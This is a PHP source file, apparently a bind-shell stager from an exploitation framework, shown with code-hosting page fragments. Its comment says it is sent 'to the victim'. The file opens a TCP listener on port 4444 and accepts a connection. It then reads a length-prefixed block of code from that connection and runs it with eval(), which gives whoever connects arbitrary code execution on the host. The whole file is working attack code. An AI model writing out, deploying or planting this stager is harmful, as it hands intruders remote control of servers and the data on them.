54 lines
1.3 KiB
PHP
Executable File
54 lines
1.3 KiB
PHP
Executable File
#<?php
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# The payload handler overwrites this with the correct LPORT before sending
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# it to the victim.
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$port = 4444;
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$ipaddr = "0.0.0.0";
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if (is_callable('stream_socket_server')) {
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$srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}");
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if (!$srvsock) { die(); }
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$s = stream_socket_accept($srvsock, -1);
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$s_type = 'stream';
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} elseif (is_callable('socket_create_listen')) {
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$srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP);
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if (!$res) { die(); }
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$s = socket_accept($srvsock);
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$s_type = 'socket';
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} elseif (is_callable('socket_create')) {
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$srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
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$res = socket_bind($srvsock, $ipaddr, $port);
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if (!$res) { die(); }
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$s = socket_accept($srvsock);
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$s_type = 'socket';
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} else {
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die();
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}
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if (!$s) { die(); }
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switch ($s_type) {
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case 'stream': $len = fread($s, 4); break;
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case 'socket': $len = socket_read($s, 4); break;
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}
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if (!$len) {
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# We failed on the main socket. There's no way to continue, so
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# bail
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die();
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}
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$a = unpack("Nlen", $len);
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$len = $a['len'];
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$b = '';
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while (strlen($b) < $len) {
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switch ($s_type) {
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case 'stream': $b .= fread($s, $len-strlen($b)); break;
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case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
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}
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}
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# Set up the socket for the main stage to use.
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$GLOBALS['msgsock'] = $s;
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$GLOBALS['msgsock_type'] = $s_type;
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eval($b);
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die();
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